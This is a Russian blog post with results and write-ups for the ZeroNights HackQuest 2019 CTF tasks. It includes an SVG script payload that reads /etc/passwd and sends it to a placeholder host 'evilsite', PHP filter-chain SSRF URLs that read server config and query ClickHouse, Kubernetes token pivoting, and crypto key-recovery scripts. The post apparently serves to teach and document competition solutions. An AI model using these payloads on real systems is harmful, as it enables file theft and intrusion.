ZeroNights Hackquest 2019. Results & Writeups

    Совсем недавно завершился ежегодный HackQuest, приуроченный к конференции ZeroNights. Как и в прошлые годы, участникам предстояло решить 7 различных заданий — по одному на сутки квеста. Задания, как всегда, помогли подготовить наши коммьюнити партнеры. Узнать, как же решались задания, и кто стал победителями хакквеста в этот раз, можно под катом.


    image

    Day 1. TOP SECRET


    Победители
    1 место 2 место
    vladvis gotdaswag

    Первое задание этого года подготовила команда отдела аудита Digital Security. Чтобы решить его, участникам нужно было пройти три этапа: получить доступ к содержимому внутреннего чата игрового портала, проэксплуатировать уязвимость в Discord-боте и использовать некорректную настройку прав в Kubernetes-кластере.


    Решение задания первого дня (vladvis)

    1-ый шаг: graphql


    • Изначально мы попадаем на веб приложение с js client-side игрой и рейтингом.
    • Кроме статики к бэкэнду делается только 1 запрос:
    • Получить список всех типов и их полей можно следующим запросом:
      {
      __schema {
        types
        {
          name
          fields
          {
            name
          }
        }
      }
      }
    • Видим поле comment, запрашиваем его в изначальном запросе и получаем ссылку на следующий этап.

    2-ой шаг: Discord bot


    • На сервере нас встречает бот и создает нам отдельный канал
    • Сразу видим намек на SSRF в gitea, но до этого я так и не дошел =(
    • Пробуем прочитать локальный файл:
      <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1"
       xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <script type="text/javascript">
      for (var i=0; trefs[i]; i++) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET","/etc/passwd",false);
        xhr.send("");
        var xhr2 = new XMLHttpRequest();
        xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false);
        xhr2.send("");
      }
      </script>
      </svg>
    • Получаем /etc/passwd и видим 2 пользователей: worker, от имени которого рендерится svg и gitea
      worker:x:1000:1000::/home/worker:/bin/sh
      gitea:x:1001:1001::/home/gitea:/bin/sh
    • Этот шаг я прошел через unintended путь: в .bash_history у worker лежали пути к ssh-ключу и адресу сервера на следующий этап
      cd
      nano .ssh/connect_info 
      echo > .bash_history 
      exit
      cd 
      cd .ssh/
      chmod 755 id_rsa 
      ls -al
      cat id_rsa 
      exit

      3-ий шаг: kubernetes

    • На этот этап я попал, похоже, первым. .bash_history и ps были пустыми и из этого я сделал вывод, что для каждого ip создается изолированное окружение
    • В mount был найден токен для kubernetes
    • Поначалу было непонятно, куда девать токен, и я начал сканить сетку… и в какой-то момент начал ходить по соседям по облаку
    • После этого был выдан хинт, в каких подсетях сканить, и почти сразу был найден rest api kubernetes-а
    • К этому моменту я понял, что я не один на сервере, а пилить что-то, например, маскирующее cmdline не было желания, поэтому я решил сделать это легчебольнее и пробросить себе socks прокси через ssh
    • При помощи kubectl get pods был получен список контейнеров, и документация kubernetes подсказала, что можно использовать exec с таким же синтаксисом, что и у docker-а
    • Дальше были 1.5 часа страданий с socks прокси, через которую не поднимался websocket для exec. В итоге я пошел напрямую в kubectl через ssh
    • На втором контейнере новый токен и у него уже был доступ к кластеру в соседнем namespace zn2 (изначально мы находимся в namespace zn1), из которого был виден redis
    • Вспоминаем доклад @paulaxe с прошлого Zeronights и получаем RCE, например, с помощью этого PoC-а
    • Получив очередной токен, можно вытащить флаг из kubernetes secrets

    Day 2. MICOSOFT LUNIX


    Победители
    1 место 2 место 3 место
    torn Sin__ AV1ct0r
    Также решили: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

    Задание второго дня подготовили члены сообщества r0 Crew. Для решения необходимо сгенерировать ключ активации для образа Linux с модифицированным ядром.


    Решение задания второго дня (torn)

    Дано: файл jD74nd8_task2.iso, загрузочный ISO образ. По файлам внутри образа можно предположить, что это Linux: присутствует ядро boot/kernel.xz, начальный рамдиск boot/rootfs.xz и загрузчик boot/syslinux/.


    Пробуем распаковать ядро и рамдиск. Рамдиск здесь — обычный cpio архив, сжатый xz. Ядро распаковываем, используя скрипт https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux. Также можно обратить внимание на информацию о ядре:


    > file kernel.xz                   
    kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA

    Попутно находим в iso образе основную задачу minimal/rootfs/bin/activator: все сводится к записи введенных данных электронной почты и ключа активации в устройство /dev/activate в формате $email|$key. В случае удачной проверки ключа, чтение из /dev/activate будет выдавать строку ACTIVATED, и активатор в данном случае запустит игру 2048.


    Настало время глянуть на задачу в динамике. Для этого запускаем эмулятор в KVM:


    > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso

    Linux стартует и сразу запускает /bin/activator из overlay. Это прописано в /etc/inittab. Чтоб долго не копаться в бинаре ядра, хотелось получить шелл и посмотреть, как минимум, на /proc и /sys. Самым простым для меня способом оказалось просто подпачить iso файл в месте, где расположен сам скрипт активатора. Вместо sleep 1 поставил /bin/sh, т.е. получал шелл после каждой попытки ввода серийника.


    Итак шелл есть: смотрим, что /proc/kallsyms отсутствует, т.е. отсутствуют символы ядра. С ними, конечно же, было б гораздо быстрее, но ничего страшного. Ищем информацию об устройстве /dev/activator:


    / # ls -la /dev/activate
    crw-------    1 0        0         252,   0 Oct 15 08:57 /dev/activate
    / # cat /proc/devices
    Character devices:
    ...
    252 activate
    ...
    
    Block devices:
    ...

    Из информации в /proc/devices видно, что это символьное (char) устройство, у которого major версия 252 и minor — 0.


    Настало время найти в бинаре ядра функцию регистрации этого устройства, чтоб найти обработчик его операции write. Для этого нужно найти перекрестные ссылки на строку activate. Но такой строки в ядре нет, вероятно её как-то прячут.


    В следующей попытке пробуем найти функции, отвечающие за регистрацию символьных устройств: cdev_add и register_chrdev. Это можно сделать по перекрестным ссылкам на /dev/console или на любое другое символьное устройство и взяв исходный код ядра (я брал версию 5.0.11, но не уверен, что версия указана верно). Посмотрев список устройств, которые регистрируются, не находим там устройство с major версией 252. Вероятно регистрация происходит не этими двумя функциями.


    Попробуем поискать еще какие-то зацепки в динамике:


    / # ls -la /sys/dev/char/252:0
    lrwxrwxrwx    1 0        0                0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate

    Вот и зацепка — класс устройства EEy????I. Пробуем найти данную строку в бинаре и она там есть!



    Хоть и перекрестных ссылок на неё не найдено, но рядом видны данные, похожие на строки. Если посмотреть код, который их использует, то видно, что это те искомые обработчики чтения и записи устройства activate, которые зашифрованы простым XOR.


    Функция обработки операции чтения:



    Функция обработки операции записи, она же проверка лицензии:



    Беглый осмотр кода проверки активации показал, что легче всего просто поставить точку останова на адресе 0xFFFFFFFF811F094B и там забрать код активации, не особо вникая, что же там происходит. Для этого запускаем qemu с флагом -s. В этом случае qemu запускает gdb stub, который позволяет использовать любой gdb клиент. Проще и быстрее всего это делать в IDA Pro, если есть лицензия. Но никто не запрещает все сделать в консольном gdb.


    Проделываем все, как описано в официальном туториале. Теперь нужно найти функцию обработки внутри уже запущенного ядра.




    Так как ядро собрано с поддержкой KASLR, то адреса запущенного ядра сдвинуты на рандомное смещение, которое генерируется каждый запуск ядра. Вычисляем это смещение (берем адрес уникальной последовательности байт в коде отлаживаемого ядра и отнимаем от него адрес этой последовательности в бинаре) и, добавляя к адресу функции активации, находим её в памяти. Всё, теперь дело за малым. Поставить точку останова и забрать код.





    Решение этого задания уже публиковалось на хабре одним из участников. Ознакомится с ним можно здесь.


    Day 3. HOUSE OF BECHED


    Победители
    1 место
    blackfan

    Задание подготовил beched (DeteAct). Участников встречала непримечательная страница оплаты. Для решения было необходимо получить доступ к БД Clickhouse, воспользовавшись особенностью php-функции file_get_contents.


    Решение задания третьего дня (blackfan)

    Задание представляет собой страницу оплаты, где единственным интересным параметром был callback_url.


    https://i.imgur.com/iX65TI3.png


    Указываем свой сайт и ловим запрос:


    http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=

    POST / HTTP/1.0
    Host: attacker.tld
    Connection: close
    Content-Length: 21
    Content-Type: application/json
    
    amount=0&payment_id=0

    HTTP-ответ отображается, только если сайт вернул alphanumeric строку. Примеры ответов:


    {"result":"Success.","msg":"Response: testresponse"}
    
    {"result":"Invalid status code.","msg":"Non-alphanumeric response."}

    Пробуем в качестве callback_url data:,test и понимаем, что, скорее всего, это PHP.


    http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=

    Используем php://filter для чтения локальных файлов и кодируем ответ с помощью convert.base64-encode, чтобы ответ соответствовал alphanumeric. Из-за символов +, / и = иногда приходится комбинировать несколько вызовов base64 для вывода ответа.


    http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php
    http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php

    <?php
    error_reporting(0);
    
    /*
    * DB configuration
    */
    
    $config = [
        'host' => 'localhost',
        'port' 

    Вывод ответа ограничен 200-ми байтами, но из фрагментов узнаем о наличии базы данных на localhost. Перебираем порты через callback_url и находим в блоге DeteAct свежую статью о инъекциях в ClickHouse, что соотносится со странным названием таска "HOUSE OF BECHED".


    https://i.imgur.com/OBn22wi.png


    ClickHouse имеет HTTP-интерфейс, позволяющий выполнять произвольные запросы, который очень удобно использовать в SSRF.


    Читаем документацию, пробуем получить учетную запись из конфига.


    http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

    <?xml version="1.0"?>
    <yandex>
        <!-- Profiles of settings. -->
        <profiles>
            <!-- Default settibm

    Опять мешает ограничение вывода, а, судя по стандартному файлу, нужное поле находится крайне далеко.


    https://i.imgur.com/5Un6gfj.png


    Вырезаем лишнее с помощью фильтра string.strip_tags.


    http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

    Но длины вывода все равно не хватает до получения пароля. Добавляем компрессионный фильтр zlib.deflate.


    http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

    И читаем локально в обратном порядке:


    print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));

    Получив пароль, мы можем отправлять запросы на ClickHouse следующим образом:


    http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap
    
    http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'

    Но так как изначально у нас отправляется POST, то необходимо обойти это с помощью перенаправления. И финальный запрос получился таким (на этом этапе я очень сильно затупил, так как из-за большой вложенности обработки параметров я неправильно кодировал спецсимволы и никак не мог выполнить запрос)


    http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

    Ну а дальше достаточно просто получить данные из базы:


    select name from system.tables
    select name from system.columns where table='flag4zn'
    select bechedflag from flag4zn

    http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

    Day 4. ASR-EHD


    Победители
    1 место
    AV1ct0r

    Задание четвертого дня подготовил отдел исследований Digital Security. Основной задачей таска было показать, как неправильный выбор источника случайных чисел может повлиять на криптоалгоритм. В таске был реализован самописный генератор случайных приватных ключей для DH, основанный на LFSR. При получении достаточного колличества последовательных TLS-хендшейков с помощью публичных значений DH можно было восстановить начальное состояние LFSR и расшифровать весь трафик.


    Решение задания четвертого дня (AV1ct0r)

    Day 4 / ASR-EHD – WriteUp by AV1ct0r


    Peter is a little bit paranoid: he always uses encrypted connections. To be sure algorithms are secure Peter uses his own client. He even gave us a traffic dump which was made while using his custom client. Is Peter's connection really secure?


    https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
    https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


    1. Открываем файлик client в IDA Pro и видим, что он умеет скачивать часть файла flag.jpg с сервера https://ssltest.a1exdandy.me:443/. Какую часть файла качать (с какого по какой байт) берется из командной строки.


      signed __int64 __fastcall main(int argc, char **argv, char **a3)
      {
      size_t v4; // rsi
      __int64 v5; // ST48_8
      int v6; // [rsp+10h] [rbp-450h]
      int v7; // [rsp+14h] [rbp-44Ch]
      __int64 v8; // [rsp+20h] [rbp-440h]
      __int64 v9; // [rsp+28h] [rbp-438h]
      __int64 v10; // [rsp+30h] [rbp-430h]
      __int64 v11; // [rsp+38h] [rbp-428h]
      __int64 v12; // [rsp+40h] [rbp-420h]
      char ptr; // [rsp+50h] [rbp-410h]
      unsigned __int64 v14; // [rsp+458h] [rbp-8h]
      
      v14 = __readfsqword(0x28u);
      if ( argc != 3 )
      return 0xFFFFFFFFLL;
      v6 = atoi(argv[1]);
      v7 = atoi(argv[2]);
      if ( v6 < 0 || v7 < 0 || v7 <= v6 )
      return 0xFFFFFFFFLL;
      v8 = 0LL;
      v9 = 0LL;
      v10 = 0LL;
      OPENSSL_init_ssl(0LL, 0LL);
      OPENSSL_init_crypto(2048LL, 0LL);
      v11 = ENGINE_get_default_DH(2048LL, 0LL);
      if ( v11 )
      {
      if ( (unsigned int)ENGINE_init(v11) )
      {
        v12 = ENGINE_get_DH(v11);
        if ( v12 )
        {
          v8 = DH_meth_dup(v12);
          if ( v8 )
          {
            if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) )
            {
              if ( (unsigned int)ENGINE_set_DH(v11, v8) )
              {
                v5 = TLSv1_2_client_method(v11, v8);
                v10 = SSL_CTX_new(v5);
                if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") )
                {
                  v9 = BIO_new_ssl_connect(v10);
                  BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443");
                  if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 )
                  {
                    BIO_ctrl(v9, 101LL, 0LL, 0LL);
                    BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv);
                    BIO_printf(v9, "Host: ssltest.a1exdandy.me\n");
                    BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7);
                    v4 = (signed int)BIO_read(v9, &ptr, 1024LL);
                    fwrite(&ptr, v4, 1uLL, stdout);
                  }
                  else
                  {
                    v4 = 1LL;
                    fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr);
                  }
                }
                else
                {
                  v4 = 1LL;
                  fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr);
                }
              }
              else
              {
                v4 = 1LL;
                fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr);
              }
            }
            else
            {
              v4 = 1LL;
              fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr);
            }
          }
          else
          {
            v4 = 1LL;
            fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr);
          }
        }
        else
        {
          v4 = 1LL;
          fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr);
        }
      }
      else
      {
        v4 = 1LL;
        fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr);
      }
      }
      else
      {
      v4 = 1LL;
      fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr);
      }
      if ( v11 )
      {
      ENGINE_finish(v11, v4);
      ENGINE_free(v11);
      }
      if ( v8 )
      DH_meth_free(v8, v4);
      if ( v10 )
      SSL_CTX_free(v10, v4);
      if ( v9 )
      BIO_free_all(v9, v4);
      return 0LL;
      }

      Картинки с флагом на сервере не оказалось, зато в dump.pcap оказалась куча ssl-трафика, предположительно с кусками картинки. После быстрой проверки сервера на heartbleed (чтобы стырить приватный ключик для расшифровки трафика) было выяснено, что сервер не уязвим. Кроме того, в SSL сессиях согласно дампу трафика и клиенту, используется шифр DHE-RSA-AES128-SHA256, в котором RSA используется только для подписи, а обмен ключами происходит по схеме Диффи-Хеллмана (приватный RSA ключик сервера в таком режиме нам не поможет).


    2. Немного подирбастив сервер нашел файлик https://ssltest.a1exdandy.me/x, который является простеньким вредоносом, зашитый в него адрес админки — 0x82C780B2697A0002 (0x82C780B2:0x7a69 = 178.128.199.130:31337 ). При подключении к порту 31337, было выяснено, что сервер поддерживает 3 команды, некоторые из которых просят дополнительные аргументы


      nc 178.128.199.130 31337
      Yet another fucking heap task...
      Command: 1-3
      1 - Index: - Size:
      2 - Index:
      3 - Index: - Length:

      Но дальше ничего сделать не получилось с этим портом, и, скорее всего, это был отвлекающий таск.


    3. Посмотрев внимательно client, увидел, что в нем используется кастомизированный генератор секретов Диффи-Хеллмана:


      int __fastcall rnd_work(__int64 a1)
      {
      __int64 v1; // rsi
      unsigned int i; // [rsp+10h] [rbp-10h]
      
      rnd_read();
      BN_bin2bn(&RANDOM_512, 512LL, a1);
      BN_lshift1(a1, a1);
      v1 = (unsigned int)BITS_ind[0];               // BITS_ind        dd 4096, 4095, 4081, 4069, 0
      if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) )
      {
      for ( i = 0; i <= 4; ++i )
      {
        if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) )
        {
          v1 = (unsigned int)BITS_ind[i];
          BN_clear_bit(a1, v1);
        }
        else
        {
          v1 = (unsigned int)BITS_ind[i];
          BN_set_bit(a1, v1);
        }
      }
      }
      if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 )
      {
      printf("Err!", v1);
      exit(0);
      }
      BN_bn2binpad(a1, &RANDOM_512, 512LL);
      return rnd_write();
      }

      Изначально секрет (512 байт) читается из /dev/urandom и сохраняется в файл state. При каждом следующем запросе с секретом происходит вот такая магия:


      XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1
      CMP = 2**4096
      state *= 2
      if state > CMP:
      state ^= XOR

      Секрет как длинное число сдвигается на 1 бит влево, и если старший бит был 1, то число ксорится с константой из 5 ненулевых бит (XOR).



    Посмотрев pcap, увидел, что параметры Диффи-Хеллмана, прилетающие от сервера, постоянны:


    dh_g = 2
    dh_p = 23390802492779255177134184370397517812355114045331724403582725611989933627587394016284977408323433231376977414043562662015562429926336130577589190521858667065571589328848570938970559584045953695918419788870353537714753160723913752100704810651892577111770521339703456940346854154884020022465250463024557548779126285008325304289256359545621253722069230995474108959373841908210698053332124205226084810339078397099642164575459958848963136672415274751614370255032937981786588147095719801999313216854607209552815027819569749983631505548263472693034066210847223343807999514384075548912593749054743887793047383825112467532259

    А при каждом установлении соединения клиент посылает свою публичную часть секрета Диффи-Хеллмана. Сравнивая публичные части секретов соседних сессий, можно восстановить начальный секрет клиента, а затем все последующие секреты для каждой сессии:
    Если старший бит секрета равен 0, то на следующей сессии секрет станет просто в 2 раза больше, а публичная часть возведется в квадрат по модулю p. Таким образом удалось восстановить начальный секрет (то, что прочиталось из /dev/urandom) по модулю p:


    212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

    а из него несложно посчитать секреты для всех остальных сессий.


    И вот тут появились проблемы:
    A) Wireshark не умеет расшифровывать SSL, зная секреты Диффи-Хеллмана, и готовых решений не нашлось. Надо самим посчитать общий секрет Диффи-Хеллмана (он же pre-master key сессии), а по нему с помощью большого велосипеда (не думал, что в SSL есть велосипеды) найти master key сессии. Дальше можно сделать SSLKEYLOG файл, в который записать client random (есть в каждой ssl сессии) и master key, указать его в настройках WireShark для расшифровки SSL и теоретически профит.


    Но возникло еще несколько проблем:
    B) PHP считал слишком медленно (не используются функции bcadd, bcpowmod…), решил переписать на питоне.
    C) Формулу расчета master key по pre-master key в человеческом виде найти не удалось, сорцы ssl понимаются очень тяжело, заставить openssl вывести результаты промежуточных расчетов тоже не смог. В итоге использовал такой код, описание и какие-то RFC:


    В итоге спустя полдня смог накодить такое (по мне, не обошлось без велосипедов):


    for i in xrange(0, 4264):
      dh_secret = pow(srv_pubkeys[i], state, dh_p)
      dh_secret = hex(dh_secret)[2:-1]
      if len(dh_secret) % 2 :
        dh_secret = "0"+dh_secret
      while dh_secret[0:2] == "00":
        dh_secret = dh_secret[2:]
      dh_secret = dh_secret.decode("hex")
      seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex")
      A = seed
      master_key = ""
      for j in xrange(0, 2):
        A = hmac.new(dh_secret, A, hashlib.sha256).digest()
        master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest()
      master_key = master_key[0:48].encode("hex")
      print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key
      state *= 2
      if state > CMP:
        state ^= XOR

    D) Чтобы выдирать различные client random, … из сессий Wireshark использовался экспорт в csv и поиск в сыром трафике того, что в csv попало как “…”.


    E) Для расшифровки 4264 сессиий WireShark решил скушать много гигов оперативы (8 ему не хватило), но ничего, можно все запустить на мощном компьютере, а не на слабом ноуте. Однако при экспорте http-объектов (расшифрованных кусков картинки) WireShark может сохранить только первые 1000 файлов, а дальше у него нумерация заканчивается. В итоге пришлось разбивать pcap на 5 частей по 1000 tcp-сессий в каждом. В итоге получилась такая красивая картинка после склейки всех кусочков:



    Все файлы, использованные победителем для решения задания, можно найти здесь.


    Day 5. PROTECTED SHELL


    Победители
    1 место 2 место 3 место
    vos Bartimaeous CLO
    Также решили: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x@secator, groke_in_the_sky, d3fl4t3

    Задание подготовлено RuCTFE. Участникам дан обфусцированный исполняемый файл с рядом антиотладочных приёмов. Исполняемый файл является подобием SSH-клиента, который связан с заранее известным сервером. Задача — понять алгоритм работы этого файла, чтобы получить исполнение команд на сервере. Авторское решение предполагало обход антиотладки и разбор обфускации.


    Примечательно, что самый быстрый участник решил задание оригинальным, отличным от запланированного автором способом, а после нашел ещё один обходной путь решения. Посмотреть, как он это сделал, можно под спойлером ниже.


    Варианты решения задания пятого дня (vos)


    Day 6. UNLOCK


    Победители
    1 место 2 место 3 место
    gotdaswag medidrdrider sysenter

    Задание шестого дня подготовила команда VolgaCTF. Дан исполняемый файл, реализующий кастомный криптоалгоритм. Задача — расшифровать данный в условии файл, зашифрованный с помощью этого алгоритма, не имея известного ключа.


    Решение задания шестого дня (gotdaswag)

    INTRO


    Дан архив с двумя файлами locker и secret.png.enc.


    Первый файл представляет из себя ELF для Linux x86-64, который принимает на вход файл и ключ шифрования, а второй — зашифрованное PNG изображение.


    # ./locker
    Required option 'input' missing
    Usage: ./locker [options]
    
    Options:
        -i, --input in.png  Input file path
        -o, --output out.png.enc
                            Output file path
        -k, --key 0004081516234200
                            Encryption key in hex
        -h, --help          Print this help menu

    LOCKER


    Проанализировав файл в IDA, находим алгоритм шифрования в функции project::main.



    Изучив его, понимаем, что это блочный шифр (ECB), с размером блока 32 бита, размером ключа 64 бита и количеством раундов 77.


    Версия на Python

    def encrypt(p, k, rounds=77):
      for i in range(0, rounds):
        n  = (p >> 4) & 1
        n |= (p >> 26) & 0xE0
        n |= (p >> 22) & 0x10
        n |= (p >> 13) & 8
        n |= (p >> 7) & 4
        n |= (p >> 4) & 2
    
        x  = p ^ k
        x ^= p >> 12
        x ^= p >> 20
        x &= 1
    
        y = 1 << n
        y &= 0xBB880F0FC30F0000
        y >>= n
        y &= 1
    
        if x == y:
          p &= 0xFFFFFFFE
        else:
          p |= 1
    
        k = ror(k, 1, 64)
        p = ror(p, 1, 32)
    
      return p

    SECRET KEY


    Мы знаем, что зашифрованный файл является изображением в формате PNG.
    Cоответственно, нам известна пара открытого текста-шифротекста в виде заголовка файла (он стандартный для PNG).


    Попробуем пойти простым путём и воспользуемся SMT-решателем (Z3) для поиска ключа шифрования.
    Для этого немного модифицируем код и подадим на вход пары открытого текста-шифротекста.


    task6_key.py

    import sys
    import struct
    from z3 import *
    
    # PNG file signature (8 bytes) + IHDR chunk header (8 bytes)
    PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52'
    BLOCK_SIZE = 4
    
    def encrypt(p, k, rounds=77):
      for i in range(0, rounds):
        n  = LShR(p, 4) & 1
        n |= LShR(p, 26) & 0xE0
        n |= LShR(p, 22) & 0x10
        n |= LShR(p, 13) & 8
        n |= LShR(p, 7) & 4
        n |= LShR(p, 4) & 2
    
        x  = k ^ ZeroExt(32, p)
        x ^= LShR(ZeroExt(32, p), 12)
        x ^= LShR(ZeroExt(32, p), 20)
        x &= 1
    
        y = 1 << ZeroExt(32, n)
        y &= 0xBB880F0FC30F0000
        y = LShR(y, ZeroExt(32, n))
        y &= 1
    
        p = If(x == y, p & 0xFFFFFFFE, p | 1)
    
        p = RotateRight(p, 1)
        k = RotateRight(k, 1)
    
      return p
    
    def qword_le_to_be(v):
      pv = struct.pack('<Q', v)
      uv = struct.unpack('>Q', pv)
      return uv[0]
    
    if len(sys.argv) < 2:
      sys.exit('no input file specified')
    
    with open(sys.argv[1], 'rb') as encrypted_file:
      k = BitVec('k', 64)
      key = k
      solver = Solver()
    
      for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE):
        # prepare plain text and cipher text pairs
        pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0]
        ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0]
        p = BitVecVal(pt, 32)
        e = BitVecVal(ct, 32)
        solver.add(encrypt(p, k) == e)
    
      print('solving ...')
    
      if solver.check() == sat:
        encryption_key = solver.model()[key].as_long()
        print('key: %016X' % qword_le_to_be(encryption_key))

    Решение:


    > python task6_key.py "secret.png.enc"
    solving ...
    key: AE34C511A8238BCC

    UNLOCKER


    Теперь мы знаем ключ и нам осталось реализовать процедуру расшифрования.
    Для этого нам нужно немного поменять порядок действий в функции шифрования и дописать код для обработки всего файла.


    task6_unlocker.py

    import sys
    import time
    import struct
    import binascii
    
    BLOCK_SIZE = 4
    
    ror = lambda val, r_bits, max_bits: \
      ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
      (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
    
    rol = lambda val, r_bits, max_bits: \
      (val << r_bits%max_bits) & (2**max_bits-1) | \
      ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
    
    def decrypt(e, k, rounds=77):
      dk = ror(k, 13, 64)
    
      for i in range(0, rounds):
        dk = rol(dk, 1, 64)
        e  = rol(e, 1, 32)
    
        n  = (e >> 4) & 1
        n |= (e >> 26) & 0xE0
        n |= (e >> 22) & 0x10
        n |= (e >> 13) & 8
        n |= (e >> 7) & 4
        n |= (e >> 4) & 2
    
        x  = e ^ dk
        x ^= e >> 12
        x ^= e >> 20
        x &= 1
    
        y = 1 << n
        y &= 0xBB880F0FC30F0000
        y >>= n
        y &= 1
    
        if x == y:
          e &= 0xFFFFFFFE
        else:
          e |= 1
    
      return e
    
    if len(sys.argv) < 2:
      sys.exit('no input file specified')
    elif len(sys.argv) < 3:
      sys.exit('no output file specified')
    elif len(sys.argv) < 4:
      sys.exit('no encryption key specified')
    
    try:
      key = binascii.unhexlify(sys.argv[3])
      key = struct.unpack('<Q', key)[0]
    except:
      sys.exit('non-hexadecimal encryption key')
    
    print('unlocking ...')
    start_time = time.time()
    
    with open(sys.argv[1], 'rb') as ef:
      with open(sys.argv[2], 'wb') as df:
        while True:
          ct = ef.read(BLOCK_SIZE)
          if not ct:
            break
          ct = struct.unpack('<L', ct)[0]
          pt = decrypt(ct, key)
          pt = struct.pack('<L', pt)
          df.write(pt)
    
    print('done, took %.3f seconds.' % (time.time() - start_time))

    Запускаем скрипт, передав ему на вход зашифрованное изображение и найденный ключ.


    > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC"
    unlocking ...
    done, took 49.669 seconds.

    secret.png


    ZN{RA$T0GR@PHY_H3RTS}

    Day 7. Beep Beep!


    Победители
    1 место
    sysenter

    Финальное задание хакквеста предоставлено SchoolCTF. Участникам предстояло разобрать дамп памяти, в котором находилась программа, шифрующая файлы. Осложнялось все тем, что программа была разделена на несколько частей, которые были иньектированы в другие процессы.


    Решение задания седьмого дня (sysenter)

    Something that looks like VirtualBox RAM dump is provided to us.


    We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



    No process memory for us today, so we will have to work with fragmented memory.


